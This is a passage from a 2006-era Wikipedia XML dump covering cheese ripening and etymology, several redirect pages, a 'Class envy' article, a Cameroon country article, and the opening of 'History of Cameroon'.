[[Image:Vacherin_du_haut_Doubs.jpg|250px|thumb|left|Vacherin du Haut-Doubs cheese, a French cheese with a white ''Penicillium'' mold rind.]]Some cheeses have additional bacteria or [[mold]]s intentionally introduced to them before or during aging. In traditional cheesemaking, these microbes might be already present in the air of the aging room; they are simply allowed to settle and grow on the stored cheeses. More often today, prepared cultures are used, giving more consistent results and putting fewer constraints on the environment where the cheese ages.

For the [[blue cheese]]s ([[Roquefort (cheese)|Roquefort]], [[Stilton (cheese)|Stilton]], [[Gorgonzola (cheese)|Gorgonzola]]), ''[[Penicillium]]'' mold is introduced to the curd before molding. During aging, the blue molds (''[[Penicillium roqueforti|P. roqueforti]]'' or ''[[Penicillium glaucum|P. glaucum]]'' ) grow in the small fissures in the cheese, imparting a sharp flavor and aroma.  The same molds are also grown on the surface of some aged [[goat cheese]]s. The soft cheeses [[Brie (cheese)|Brie]] and [[Camembert (cheese)|Camembert]], among others, get a surface growth of other ''Penicillium'' species, white-colored ''[[Penicillium candida|P. candidum]]'' or ''[[Penicillium camemberti|P. camemberti]]''. The surface mold contributes to the interior texture and flavor of these small cheeses.

Some cheeses are periodically washed in a saltwater [[brine]] during their ripening. Not only does the brine carry flavors into the cheese (it might be seasoned with [[spice]]s or [[wine]]), but the salty environment may nurture the growth of the ''[[Brevibacterium linens]]'' bacteria, which can impart a very pronounced odor ([[Limburger cheese|Limburger]]) and interesting flavor. The same bacteria can also have some impact on cheeses that are simply ripened in humid conditions, like [[Camembert (cheese)|Camembert]]. Large populations of these &quot;smear bacteria&quot; show up as a sticky orange-red layer on some brine-washed cheeses.

==Cheese in language==
Throughout the history of the [[English language]], the word ''cheese'' has been ''chese'' (in [[Middle English]]) and ''cīese'' or ''cēse'' (in [[Old English]]). Similar words are shared by other [[West Germanic languages]] &amp;mdash; [[Frisian language|Frisian]] ''tsiis'', [[Dutch language|Dutch]] ''kaas'', [[German language|German]] ''Käse'', [[Old High German]] ''chāsi'' &amp;mdash; all of which probably come from the reconstructed West-Germanic root ''*kasjus'', which in turn is an early borrowing from Latin. The [[Latin]] word ''caseus'' &amp;mdash; from which are derived the [[Spanish language|Spanish]] ''queso'', [[Portuguese language|Portuguese]] ''queijo'', [[Romanian language|Romanian]] ''caş'' and [[Italian language|Italian]] ''cacio'' &amp;mdash; and the [[Celtic languages|Celtic root]] which gives the [[Irish language|Irish]] ''cáis'' and the [[Welsh language|Welsh]] ''caws'' are also related. This whole group of words is probably derived from the [[proto-Indo-European language|proto-Indo-European]] root ''*kwat-'', which means &quot;to ferment, become sour&quot;. 

When the Romans began to make hard cheeses for their legionaries' supplies, a new word started to be used: ''formaticum'', from ''caseus formatus'', or &quot;molded cheese&quot;. It is from this word that we get the [[French language|French]] ''fromage'', [[Italian language|Italian]] ''formaggio'', [[Breton language|Breton]] ''fourmaj'' and [[Provençal language|Provençal]] ''furmo''. ''Cheese'' itself is occasionally employed in a sense that means &quot;molded&quot; or &quot;formed&quot;. ''[[Head cheese]]'' uses the word in this sense. 

In modern English [[slang]], something &quot;cheesy&quot; is [[kitsch]], cheap, inauthentic, or of poor quality. One can also be &quot;cheesed off&quot;&amp;mdash; unhappy or annoyed. Such negative connotations might derive from a ripe cheese's sometimes-unpleasant odor.  Almost certainly the odor explains the use of &quot;cutting the cheese&quot; as a [[euphemism]] for [[flatulence]]. A more upbeat slang use is seen in &quot;the big cheese&quot;, an expression referring to the most important person in a group, the &quot;big shot&quot; or &quot;head honcho&quot;. This use of the word probably derived not from the word ''cheese'', but from the [[Persian language|Persian]] or [[Hindi language|Hindi]] word ''chiz'', meaning ''a thing''.&lt;ref&gt;Michael Quinion (2000). [http://www.worldwidewords.org/qa/qa-big1.htm World Wide Words: Big Cheese]. Retrieved October 15, 2005.&lt;/ref&gt;

Cheese is also sometimes used as a slang term for gossip, deriving from the Spanish word &quot;chisme&quot;, meaning &quot;gossip&quot;.

A more whimsical bit of American and Canadian slang refers to school buses as &quot;cheese wagons&quot;, a reference to [[school bus yellow]]. People getting their photo taken are often encouraged to &quot;say cheese!&quot;, as the word &quot;cheese&quot; contains the [[phoneme]] [[Close front unrounded vowel|/i/]], a [[long vowel]] which requires the lips to be stretched in the appearance of a [[smile]].&lt;ref&gt;Straight Dope Staff Report (2005). [http://www.straightdope.com/mailbag/msaycheese.html Why do photographers ask you to say &quot;cheese&quot;?]. Retrieved October 15, 2005.&lt;/ref&gt; People from [[Wisconsin]] and the [[Netherlands]], both centers of cheese production, have been called [[cheesehead]]s. This nickname has been embraced by Wisconsin sports fans &amp;mdash; especially fans of the [[Green Bay Packers]] or [[University of Wisconsin|Wisconsin Badgers]] &amp;mdash; who are now seen in the stands sporting plastic or foam hats in the shape of giant cheese wedges.

==Notes==
&lt;references/&gt;

==References==
*{{cite book | author=Jenkins, Steven | title=Cheese Primer | publisher=Workman Publishing Company | year=1996 | id=ISBN 0-894-80762-5}} 
*{{cite book | author=McGee, Harold | title=On Food and Cooking (Revised Edition) | publisher=Scribner | year=2004 | id=ISBN 0-684-80001-2}}  pp 51-63, &quot;Cheese&quot;
*James Mellgren (2003). [http://www.gourmetretailer.com/gourmetretailer/magazine/article_display.jsp?vnu_content_id=1911696 2003 Specialty Cheese Manual, Part II: Knowing the Family of Cheese]. Retrieved October 12, 2005.

==External links==
{{sisterlinks|Cheese}}
* [http://www.food-info.net/uk/dairy/cheese-production.htm Production of cheese] &amp;mdash; From Food-info.net.
* [http://www.completerecipes.com/cheese1.htm Complete Recipes: Cheese]
* [http://www.foodsci.uoguelph.ca/cheese/welcom.htm  University of Guelph Food Science Cheese Site]
* [http://www.elook.org/recipes/appetizer/cheese1.html Cheese Recipes - eLook - Contains a listing of over 1,100 recipes.]
* [http://biology.clc.uc.edu/fankhauser/Cheese/Cheese_course/Cheese_course.htm Cheese Making Illustrated] &amp;mdash; Learn the science behind homemade cheese.
*{{gutenberg|no=14293|name=The Complete Book of Cheese}}

[[Category:Cheeses| ]]
[[Category:Dairy products]]

{{Link FA|af}}

[[af:Kaas]]
[[ar:جبن]]
[[ca:Formatge]]
[[chr:ᎤᏅᏗ ᎦᏚᏅ]]
[[cs:Sýr]]
[[cy:Caws]]
[[da:Ost]]
[[de:Käse]]
[[es:Queso]]
[[eo:Fromaĝo]]
[[fr:Fromage]]
[[fur:Formadi]]
[[gl:Queixo]]
[[ko:치즈]]
[[io:Fromajo]]
[[id:Keju]]
[[is:Ostur]]
[[it:Formaggio]]
[[he:גבינה]]
[[jv:Keju]]
[[la:Caseus]]
[[lt:Sūris]]
[[jbo:cirla]]
[[hu:Sajt]]
[[nl:Kaas]]
[[ja:チーズ]]
[[no:Ost]]
[[nn:Ost]]
[[pl:Ser]]
[[pt:Queijo]]
[[ro:Brânză]]
[[ru:Сыр]]
[[scn:Furmaggiu]]
[[simple:Cheese]]
[[sl:Sir]]
[[sr:Сир]]
[[fi:Juusto]]
[[sv:Ost]]
[[tr:Peynir]]
[[zh:奶酪]]</text>
    </revision>
  </page>
  <page>
    <title>C language</title>
    <id>5441</id>
    <revision>
      <id>15903649</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[C_programming_language]]
</text>
    </revision>
  </page>
  <page>
    <title>ConLang</title>
    <id>5442</id>
    <revision>
      <id>15903650</id>
      <timestamp>2002-04-23T14:55:11Z</timestamp>
      <contributor>
        <username>Chuck Smith</username>
        <id>38</id>
      </contributor>
      <minor />
      <comment>artificial --&amp;gt; constructed</comment>
      <text xml:space="preserve">#REDIRECT [[Constructed language]]
</text>
    </revision>
  </page>
  <page>
    <title>Common sense and the Diallelus</title>
    <id>5444</id>
    <revision>
      <id>15903652</id>
      <timestamp>2004-04-11T22:01:13Z</timestamp>
      <contributor>
        <username>Banno</username>
        <id>22544</id>
      </contributor>
      <comment>re-direct to Regress argument</comment>
      <text xml:space="preserve">#REDIRECT [[Regress argument]]</text>
    </revision>
  </page>
  <page>
    <title>Class envy</title>
    <id>5445</id>
    <revision>
      <id>40345660</id>
      <timestamp>2006-02-19T23:27:06Z</timestamp>
      <contributor>
        <ip>24.107.198.23</ip>
      </contributor>
      <text xml:space="preserve">'''Class envy''' is a pejorative term sometimes used to describe criticisms of the rich and powerful by the poor and less powerful.  

Criticism of excessive [[wealth]] and the wealthy has been a staple of political discourse for generations and many believe that societal imbalances in wealth should be reduced or done away with.  A common rebuttal to these arguments is that the antagonism that the poor feel towards the wealthy is not based upon any repression or unfairness, but rather upon [[envy]].  This argument states that the poorer members of society attack the rich and their privileges because they are envious of the wealth and success the upper classes enjoy.

The simplest counter-argument is that &quot;class envy&quot; is an [[ad hominem]] fallacy. In other words, that even assuming class envy plays a significant part in social confilct, it does not necessarily detract from the validity of the ideas put forward by those who harbor this emotion. It must however, be taken into consideration that emotions do play a powerful part in attitudes, behaviors and the formation of opinion. This fact has been proven in experiments in the field of behavioral psychology. 

Another counter-argument, often invoked by [[Marxism|Marxists]], is that the classes are defined by their relationship with each other, where the worker creates wealth, and the capitalist is simply a parasite who expropriates [[surplus value]] from the workers who work for him or her. While the capitalist focuses on the creation of wealth, the Marxist focuses on the issue of capital, which is created by the worker's labor and taken by the capitalist. However, this view does not take into consideration the value of intellectual innovation or invention. 

The political debate over wealth and its distribution or re-distribution is an emotional one, with [[left-wing]] groups denigrating the wealthy and [[right-wing]] groups accusing the Left of class envy.  The term class envy is used by many conservatives institutions such as the [[Wall Street Journal]] and the [[Conservative Party (UK)|British Conservative Party]].  The term is not generally directed at the poor themselves, but rather at groups that are viewed as trying to encourage or take advantage of class envy such as liberal media outlets or leftist political parties.

Use of the word ''envy'' in the phrase ''class envy'' instead of a word like resentment, or jealousy is what working class activists feel is pejorative about this phrase, since envy means not only resentment, but also desire to attain the advantage held by the resented party. In other words ''class envy'' means the working class group accused of class envy not only resent the ruling class, which most working class activists would concede, but that they ''desire to be'' in a ruling class over a working class.  What this idea neglects is that it is possible that a worker doesn't want to get rid of his working class status within capitalism, but wants to get rid of capitalism itself as a system, just as economic systems like slavery and feudalism were gotten rid of.  If all workers had an equal relationship to the [[means of production]] in this view, there would be nothing to be envious of.

Elements of &quot;class envy&quot; phenomena can be said to exist in many cultures - for example, the persistent [[Australia|Australian]] myth of the &quot;dole bludger,&quot; one who avoids work and lives on the wealth of others.  Another Australian example would be the &quot;tall poppy syndrome&quot; where a successful individual is discredited by their social group as success is believed to come from dishonesty.

Despite these possible examples of class envy it is still a term mostly used in polemical discourse.  Unlike similar notions such as [[class consciousness]] there is no theoretical underpinning ot the idea of class envy other than in psychology. In large part this has to do with the fact that those who advocate it also criticize the very notion of class.

Class Warfare is often thought of as the end result of class envy as well as other factors which motivate the redistribution of wealth and power amongst the classes. 

[[Category:Economics]]</text>
    </revision>
  </page>
  <page>
    <title>Cameroon</title>
    <id>5447</id>
    <revision>
      <id>41775947</id>
      <timestamp>2006-03-01T17:45:04Z</timestamp>
      <contributor>
        <username>MJCdetroit</username>
        <id>627347</id>
      </contributor>
      <comment>infox Long &amp; Lat</comment>
      <text xml:space="preserve">{{Infobox_Country &lt;!-- If editing infobox, please update [[Template:Country infobox data Cameroon]] also --&gt; 
|native_name = '''Republic of Cameroon&lt;br&gt;République du Cameroun'''
|common_name = Cameroon
|image_flag = Flag of Cameroon.svg
|image_coat = Cameroon coa.png
|image_map = LocationCameroon.png
|national_motto = Paix, Travail, Patrie&lt;br&gt;([[French language|French]]: Peace, Work, Fatherland)
|national_anthem = [[Chant de Ralliement]]
|official_languages = [[French language|French]] and [[English language|English]]
|capital = [[Yaoundé]]
|latd= 3|latm=52 |latNS= N|longd=11 |longm=31|longEW=E
|largest_city = [[Douala]]
|government_type = 
|leader_titles = [[Presidents of Cameroon|President]]&lt;br&gt;[[Heads of Government of Cameroon|Prime Minister]]
|leader_names = [[Paul Biya]]&lt;br&gt;[[Ephraïm Inoni]]
|area_rank = 52nd
|area_magnitude = 1 E11
|area= 475,440 
|areami²= 183,568 &lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
|percent_water = 1.3
|population_estimate = 16,380,005 &lt;!-- cia.gov --&gt;
|population_estimate_rank = 59th &lt;!-- cia.gov --&gt;
|population_estimate_year = July 2005 &lt;!-- cia.gov --&gt;
|population_census = 15,746,179
|population_census_year = 2003
|population_density = 34
|population_densitymi² = 88 &lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
|population_density_rank = 138th
|GDP_PPP = $32.35 bn &lt;!-- cia.gov --&gt;&lt;!-- may need reformating --&gt;
|GDP_PPP_rank = 91st &lt;!-- cia.gov --&gt;
|GDP_PPP_year= 2005
|GDP_PPP_per_capita = $2,176
|GDP_PPP_per_capita_rank = 140th
|sovereignty_type = [[Independence]]
|established_events = From &lt;small&gt;[[France]] &amp; [[United Kingdom]]&lt;/small&gt;
|established_dates = [[January 1]], [[1960]]
|HDI = 0.497
|HDI_rank = 148th
|HDI_year = 2003
|HDI_category = &lt;font color=&quot;#E0584E&quot;&gt;low&lt;/font&gt;
|currency = [[CFA franc]]
|currency_code = XAF
|country_code = 
|time_zone = 
|utc_offset = +1
|time_zone_DST = 
|utc_offset_DST = 
|cctld = [[.cm]]
|calling_code = 237
|footnotes = 
}}
The '''Republic of Cameroon''' is a unitary republic of central [[Africa]]. It borders [[Nigeria]], [[Chad]], [[Central African Republic]], [[Republic of Congo]], [[Gabon]], [[Equatorial Guinea]] and the [[Gulf of Guinea]]. Originally a [[German Empire|German colony]], it was split after [[World War I]] among the French and [[United Kingdom|British]]. In [[1960]], [[France|French]] [[Cameroun]] became an independent republic, merging with the southern part of British Cameroons in [[1961]] to form the ''Federal Republic of Cameroon''. It was renamed the ''United Republic of Cameroon'' in [[1972]], and the ''Republic of Cameroon'' or ''République du Cameroun'' in [[1984]] (its official languages are [[English language|English]] and [[French language|French]]). Compared to other African countries, Cameroon enjoys relative political and social stability, which has in turn permitted the development of [[agriculture]], [[road]]s, and [[railroad|railways]], as well as an extensive [[petroleum industry]]. Despite movement toward political reform, however, power remains firmly in the hands of an ethnic [[oligarchy]]. 
==History==
''Main article: [[History of Cameroon]]''

The first inhabitants of Cameroon were the [[pygmy]] [[Baka (Cameroon and Gabon)|Baka]] people. They were largely replaced and absorbed by Bantu tribes during [[Bantu]] [[human migration|migrations]].

The first [[Europe|European]] contact was in the [[16th century]] with the [[Portugal|Portuguese]], but they did not stay. The Portuguese did however give the would-be country its name. Explorers on the Sanaga River noted the abundance of prawns and gave the land the name ''camarão'', the [[Portuguese language|Portuguese]] word for prawn. The first permanent [[colonialism|colonial settlements]] were started in the late [[1870s]], with the [[German Empire]] emerging as the major European Power. With the defeat of Germany in [[World War I]], Cameroon became a [[League of Nations Mandate]] territory split between [[France|French]] Cameroun and [[British Empire|British]] [[Cameroons]] in [[1919]]. These mandates were converted into [[United Nations Trusteeship]]s in [[1946]].

In [[1960]], French Cameroun gained its independence and became The Cameroon Republic. It was joined in [[1961]] by the southern part of the British Cameroons. The remainder of the British Cameroons became part of [[Nigeria]] at the same time. The new coalition government was led by [[Ahmadou Ahidjo]] who led a crack down on [[rebellion|rebel]] groups who had remained since before independence.  

Ahidjo stepped down in [[1982]] and was succeeded by the current president, [[Paul Biya]]. Biya has won numerous elections, but the fairness of these elections has been questioned. The last elections were held on [[October 11]], [[2004]].

==Politics==
[[Image:Paul biya and colin powell.jpg|thumb|left|Cameroon President [[Paul Biya]] (right)]]
{{main|Politics of Cameroon}}
The [[President]] of Cameroon holds executive power in the government of Cameroon. This provision was part of the reforms instituted in [[1996]] to the [[Constitution of Cameroon|Constitution]], that had been originally written in [[1972]]. The President is given a broad range of powers, and is able to carry them out without consulting the [[National Assembly of Cameroon|National Assembly]]. Cameroon is a member of the [[Commonwealth of Nations]].

The National Assembly consists of 180 delegates and meets three times a year.  The main responsibility of the Assembly is to pass laws, but rarely has it changed any laws or blocked the passage of legislation.

The judiciary is subordinate to the executive branch's [[Ministry of Justice of Cameroon|Ministry of Justice]]. The [[Supreme Court of Cameroon|Supreme Court]] may review the constitutionality of a law only at the president's request.[[Image:Cameroon.geohive.gif|thumb|right|[[Subnational|Administrative division]].]]

==Provinces==
{{main|Provinces of Cameroon}}
Cameroon is divided into 10 provinces: 
*[[Adamawa Province, Cameroon|Adamawa Province]] (Adamaoua)
*[[Centre Province, Cameroon|Centre Province]]
*[[East Province, Cameroon|East Province]] (Est)
*[[Extreme North Province, Cameroon|Extreme North Province]] (Extreme-Nord)
*[[Littoral Province, Cameroon|Littoral Province]]
*[[North Province, Cameroon|North Province]] (Nord)
*[[Northwest Province, Cameroon|Northwest Province]] (Nord-Ouest)
*[[West Province, Cameroon|West Province]] (Ouest)
*[[South Province, Cameroon|South Province]] (Sud) 
*[[Southwest Province, Cameroon|Southwest Province]] (Sud-Ouest)

==Geography==
{{main|Geography of Cameroon}}

Location: Western Africa, bordering the Bight of Biafra, between Equatorial Guinea and Nigeria

Geographic coordinates: 6° N 12° E

Map references: Africa

'''Area''':&lt;br&gt;
Total: 183,568 [[square mile]]s (475,440 [[square kilometre|km²]])&lt;br&gt;
Land: 181,252 square miles (469,440 km²)&lt;br&gt;
Water: 2,317 square miles (6,000 km²)

Cameroon can be divided into five geographic zones. These are distinguished by dominant physical, climatic, and vegetative features.

[[Image:Mount Cameroon craters.jpg|thumb|left|Mount Cameroon craters]]

===Natural regions=== 

Cameroon's coastal plain extends 10 to 50 [[mile]]s (15–80&amp;nbsp;[[kilometre|km]]) inland from the [[Gulf of Guinea]] (part of the Atlantic Ocean) to the edge of a plateau. In the former western state, however, the mass of [[Mount Cameroon|Mt. Cameroon]] reaches almost to the sea. Exceedingly hot and humid, the coastal belt includes some of the wettest places on earth. For example, [[Debuncha]], at the base of Mt. Cameroon, has recorded annual rainfalls of 400 [[inch]]es (10,000&amp;nbsp;[[milimetre|mm]]). The plain is densely forested.

The low southern plateau, rising from the coastal plain and dominated by tropical rain forest, has an average elevation of 1,500 to 2,000 [[foot (unit of length)|feet]] (450–600&amp;nbsp;[[meter|m]]). It is less humid than the coast.

In western Cameroon is an irregular chain of mountains, hills, and plateaus that extend from Mt. Cameroon almost to [[Lake Chad]] at the northern tip of the country. This region enjoys a pleasant climate, particularly in the [[Bamenda highlands|Bamenda]], [[Bamiléké highlands|Bamiléké]], and [[Mambilla highlands|Mambilla]] highlands. It also contains some of the country's most fertile soils, notably around volcanic Mt. Cameroon.

From the forested southern plateau the land rises northward to the grassy, rugged [[Adamaoua highlands|Adamaoua]] (Adamawa) highlands. Stretching across Cameroon from the western mountain area, the Adamaoua forms a barrier between the north and south. Its average elevation is 3,400 feet (1,035&amp;nbsp;m), and its climate is reasonably pleasant.

The northern [[savanna|savanna plain]] extends from the edge of the Adamaoua to Lake Chad. Its characteristic vegetation is scrub and grass. This is a region of sparse rainfall and high median temperatures.

===Rivers===

The country has four patterns of drainage. In the south, the principal rivers—the [[Wouri]], [[Sanaga]], [[Nyong]], and [[Ntem]]-—flow southwestward or westward directly into the Gulf of Guinea. The [[Dja]] and [[Kadei]], however, drain southeastward into the [[Congo River]]. In northern Cameroon, the [[Benoué]] (Benue) runs north and west, eventually into the Niger, while the [[Logone]] flows northward into Lake Chad.

Only part of Lake Chad lies within Cameroon. The rest belongs to Chad, Nigeria, and Niger. The lake varies in size according to seasonal rainfall.

===Natural Resources===

In general, Cameroon's natural resources are better suited to agriculture and forestry than to industry. Soils and climate in the south encourage extensive cultivation of crops such as cocoa, coffee, and bananas. In the north, natural conditions favor crops such as cotton and peanuts. The southern rain forest has vast timber reserves, but large areas of the forest are difficult to reach.

The southern rivers are obstructed by rapids and waterfalls, but these sites offer opportunities for hydroelectric development. The Wouri River estuary provides a harbor for the country's principal seaport city, Douala. In the north the Benoué River is seasonally navigable from Garoua into Nigeria.

Petroleum and natural gas are found offshore, and iron ore in the south near the coast. Northern Cameroon has large deposits of [[bauxite]] and [[limestone]].

:''See also [[List of cities in Cameroon]].''[[Image:Mount Cameroon from Tiko.jpg|thumb|Tiko, Southwest Province]]

==Economy==
{{main|Economy of Cameroon}}

For a quarter-century following independence, Cameroon was one of the most prosperous countries in Africa. The drop in commodity prices for its principal exports —petroleum, cocoa, coffee, and cotton — in the mid-1980s, combined with an overvalued currency and economic mismanagement, led to a decade-long recession. Real per capita GDP fell by more than 60% from 1986 to 1994. The current account and fiscal deficits widened, and foreign debt grew. Yet because of its oil resources and favorable agricultural conditions, Cameroon still has one of the best-endowed primary commodity economies in sub-Saharan Africa.[[Image:Tole-tea-back.jpg|thumb|left|140px|tea bag produced in Cameroon]]

Despite rapid urbanisation, the single largest economic activity in Cameroon is subsistence agriculture, in which virtually all of the rural population is employed.
 
==Demographics==
[[Image:Centre Province Yaoundé 002.JPG|thumb| [[Yaoundé]], capital of Cameroon (2003)]]
[[Image:Maison obus.jpg|thumb|photo from the north of Cameroon]]
[[Image:Bamun sultan palace.jpg|thumb|The palace of the sultan of the [[Bamun]] people at [[Foumban]], West Province]]
''Main article: [[Demographics of Cameroon]]''

Cameroon's demographic profile is comprised of an estimated 250 distinct ethnic groups, which may be formed into five large regional-cultural divisions:

* western highlanders (Semi-Bantu or grassfielders), including the Bamileke, Bamun (or Bamoun), and many smaller [[Tikar]] groups in the Northwest (est. 38% of total population);
* coastal tropical forest peoples, including the Bassa, Duala (or Douala), and many smaller groups in the Southwest (12%);
* southern tropical forest peoples, including the Beti-Pahuin, Bulu (a subgroup of Beti-Pahuin), Fang (subgroup of Beti-Pahuin), Maka-Njem, and Baka pygmies (18%);
* predominantly Islamic peoples of the northern semi-arid regions (the Sahel) and central highlands, including the Fulani (or Peuhl in French) (14%); and
* the &quot;Kirdi&quot;, non-Islamic or recently Islamic peoples of the northern desert and central highlands (18%).

==Culture==
''Main article: [[Culture of Cameroon]]''

The Kirdi and the Matakam of the western mountains produce distinctive types of pottery. The powerful masks of the Bali, which represent elephants' heads, are used in ceremonies for the dead, and the statuettes of the Bamileke are carved in human and animal figures. The Tikar people are famous for beautifully decorated brass pipes, the Ngoutou people for two-faced masks, and the Bamum for smiling masks.

L'Institut Français d'Afrique Noire (French Institute of Black Africa) maintains a library in Douala that specializes in the sociology, ethnology, and history of Africa. Of the several museums, the Diamare and Maroua Museum has anthropological collections relating to the Sudanese peoples, and the &lt;TABLE border=&quot;1&quot; align=&quot;left&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;&gt;
&lt;CAPTION&gt;&lt;font size=&quot;+1&quot;&gt;'''Holidays'''&lt;/font&gt;&lt;/caption&gt;
&lt;TR&gt;&lt;TH style=&quot;background:#efefef;&quot;&gt;Date&lt;/TH&gt;&lt;TH style=&quot;background:#efefef;&quot;&gt;English Name&lt;/TH&gt;
&lt;tr&gt;&lt;td&gt;[[January 1]]&lt;td&gt;[[New Year's Day]]
&lt;tr&gt;&lt;td&gt;[[February 11]]&lt;/td&gt;&lt;td&gt;National Youth Day&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[May 1]]&lt;td&gt;[[Labor Day]]
&lt;tr&gt;&lt;td&gt;[[May 20]]&lt;td&gt;[[National Day]]
&lt;tr&gt;&lt;td&gt;[[August 15]]&lt;td&gt;[[Assumption of Mary|Assumption]]
&lt;tr&gt;&lt;td&gt;[[December 25]]&lt;td&gt;[[Christmas]]
&lt;/TABLE&gt;Cameroon Museum of Douala exhibits objects of prehistory and natural history. 

Cultural organizations include the Cameroun Cultural Association, the Cameroun Cultural Society, and the Federal Linguistic and Cultural Centre. There are also numerous women's associations, youth organizations, and sporting associations.

In addition, movable holidays include:
Christian: [[Good Friday]], [[Easter Sunday]], and [[Easter Monday]]
Muslim: [[Eid_ul-Fitr|'Id al-Fitr]] and [[Eid_ul-Adha|'Id al-Adha]]

''See also:'' [[Music of Cameroon]], [[List of African writers (by country)#Cameroon|List of writers from Cameroon]]

==Education==
''Main article: [[Education in Cameroon]]''

Two separate systems of education were used in Cameroon after independence. East Cameroon's system was based on the French model, West Cameroon's on the British model. The two systems were merged by 1976. Christian mission schools have been an important part of the educational system.

Cameroon is known for having one of the best education systems in Africa. Primary school is both free and obligatory. Statistics say that 70% of all children aged between 6-12 years go to school, whilst 79% of the Cameroon population as a whole is literate. In the southern areas of the country almost all children of primary-school age are enrolled in classes. However, in the north, which has always been the most isolated part of Cameroon, registration is low. Most students in Cameroon do not go beyond the primary grades. 

The country has institutions for teacher training and technical education. At the top of the educational structure is the University of Yaoundé. There is, however, a growing trend for the wealthiest and best-educated students to leave the country in order to study and live abroad, creating a [[brain drain]].

==Miscellaneous topics==
[[Image:Njem house in Cameroon.jpg|thumb|[[Njem]] house in Cameroon]]

* [[Catholic Church in Cameroon]]
* [[Communications in Cameroon]]
* [[Foreign relations of Cameroon]]
* [[List of Cameroon-related topics]]
* [[List of cities in Cameroon]]
* [[Military of Cameroon]]
* [[Transportation in Cameroon]]

==External links==
[[Image:Maka woman going to fields.jpg|thumb|[[Maka]] woman going to fields]]
[[Image:Tikar family.jpg|thumb|a [[Tikar]] family in the north west]]
{{sisterlinks|Cameroon}}

'''Education'''
*[http://www.vkii.org The Cameroonian Association of Engineers and Computer Scientists]Web site of the Association of Cameroonian Engineers in Germany

'''Government'''
*[http://www.camnet.cm/celcom/homepr.htm Presidency of the Republic of Cameroon] official government site
*[http://www.cm.refer.org/assnat-cm/ National Assembly of Cameroon] official site

'''News'''
*[http://allafrica.com/cameroon/ allAfrica - Cameroon] news headline links
*[http://www.crtv.cm/ CRTV - Cameroon Radio Television] state-run
*[http://www.postnewsline.com/ The Post] - leading newspaper in English, published in Buea
*[http://www.wagne.net/messager/ Le Messager] privately-owned newspaper (in French)

'''Overviews'''
*[http://news.bbc.co.uk/1/hi/world/africa/country_profiles/1042937.stm BBC News - ''Country Profile: Cameroon'']
*[http://www.cia.gov/cia/publications/factbook/geos/cm.html CIA World Factbook - ''Cameroon'']

'''Ethnic Groups'''
* [http://www.pygmies.info/ Baka Pygmies of Cameroon] Culture and music of the first inhabitants of Cameroon
* [http://www.maurocampagnoli.com/ Anthropological researches in Cameroon] Fieldwork among Cameroonian populations
* [http://www.bamileke.com/ The Bamileke people of Cameroon]
*[http://www.bakweri.org/ The Bakweri People of the former British Cameroons] 

'''Directories'''
*[http://www.cmclick.com CMCLICK Online! Cameroon Portal - ''Cameroon''] Cameroon Internet Community. Cameroon Business Directory. Cameroon Information. Cameroon Culture.
*[http://search.looksmart.com/p/browse/us1/us317836/us317916/us559898/us559899/us10065674/us559907 LookSmart - ''Cameroon''] directory category
*[http://dmoz.org/Regional/Africa/Cameroon/ Open Directory Project - ''Cameroon''] directory category
*[http://www-sul.stanford.edu/depts/ssrg/africa/camer.html Stanford University - Africa South of the Sahara: ''Cameroon''] directory category
*[http://www.sas.upenn.edu/African_Studies/Country_Specific/Cameroon.html University of Pennsylvania - African Studies Center: ''Cameroon''] directory category
*[http://dir.yahoo.com/Regional/Countries/Cameroon/ Yahoo! - ''Cameroon''] directory category

'''Tourism'''
*{{wikitravel}}
*[http://www.kamerun-tourismus.de/index_e.html Cameroon tourism] Information and pictures
*[http://www.cameroonincolour.com Cameroon In Colour] Cameroon pictures. Largest Online picture collection of Cameroon. Images of Cameroon. Cameroon Photos.

{{Africa}}


[[Category:African Union member states]]
[[Category:Cameroon| ]]
[[Category:Peace and Security Council]]

[[af:Kameroen]]
[[am:ካሜሩን]]
[[ar:كاميرون]]
[[an:Camerún]]
[[bg:Камерун]]
[[bs:Kamerun]]
[[zh-min-nan:Cameroon]]
[[bn:ক্যামেরুন]]
[[ca:Camerun]]
[[cs:Kamerun]]
[[da:Cameroun]]
[[de:Kamerun]]
[[et:Kamerun]]
[[es:Camerún]]
[[eo:Kameruno]]
[[eu:Kamerun]]
[[fr:Cameroun]]
[[gl:Camerún - Cameroun]]
[[ko:카메룬]]
[[hr:Kamerun]]
[[io:Kamerun]]
[[id:Kamerun]]
[[is:Kamerún]]
[[it:Camerun]]
[[he:קמרון]]
[[ku:Kamerûn]]
[[lv:Kamerūna]]
[[lt:Kamerūnas]]
[[hu:Kamerun]]
[[ms:Cameroon]]
[[na:Camerun]]
[[nl:Kameroen]]
[[nds:Kamerun]]
[[ja:カメルーン]]
[[no:Kamerun]]
[[nn:Kamerun]]
[[pl:Kamerun]]
[[pt:Camarões]]
[[ro:Camerun]]
[[ru:Камерун]]
[[sa:केमेरून]]
[[sq:Kameruni]]
[[sk:Kamerun]]
[[simple:Cameroon]]
[[sl:Kamerun]]
[[sr:Камерун]]
[[fi:Kamerun]]
[[sv:Kamerun]]
[[tl:Cameroon]]
[[tr:Kamerun]]
[[uk:Камерун]]
[[zh:喀麦隆]]</text>
    </revision>
  </page>
  <page>
    <title>History of Cameroon</title>
    <id>5448</id>
    <revision>
      <id>41099696</id>
      <timestamp>2006-02-25T01:12:56Z</timestamp>
      <contributor>
        <ip>68.54.94.115</ip>
      </contributor>
      <comment>/* Early history */</comment>
      <text xml:space="preserve">==Early history==
The earliest inhabitants of [[Cameroon]] were probably the [[Baka (nomadic Central African people)|Baka]] (Pygmies). They still inhabit the forests of the south and east provinces. [[Bantu]] speakers originating in the Cameroonian highlands were among the first groups to move out before other invaders. The [[Mandara kingdom]] in the [[Mandara Mountains]] was founded around [[1500]] and erected magnificent [[Mandara Strongholds|fortified structures]], the purpose and exact history of which is still unresolved. The [[Aro confederacy]] of [[Nigeria]], had presence in Western Cameroon due to migration in the 18nth and 19nth centuries.

During the late [[1770s]] and early [[1800s]], the [[Fula|Fulani]], a [[pastoralism|pastoral]] [[Islam|Islamic]] people of the western [[Sahel]], conquered most of what is now northern Cameroon, subjugating or displacing its largely non-Muslim inhabitants.

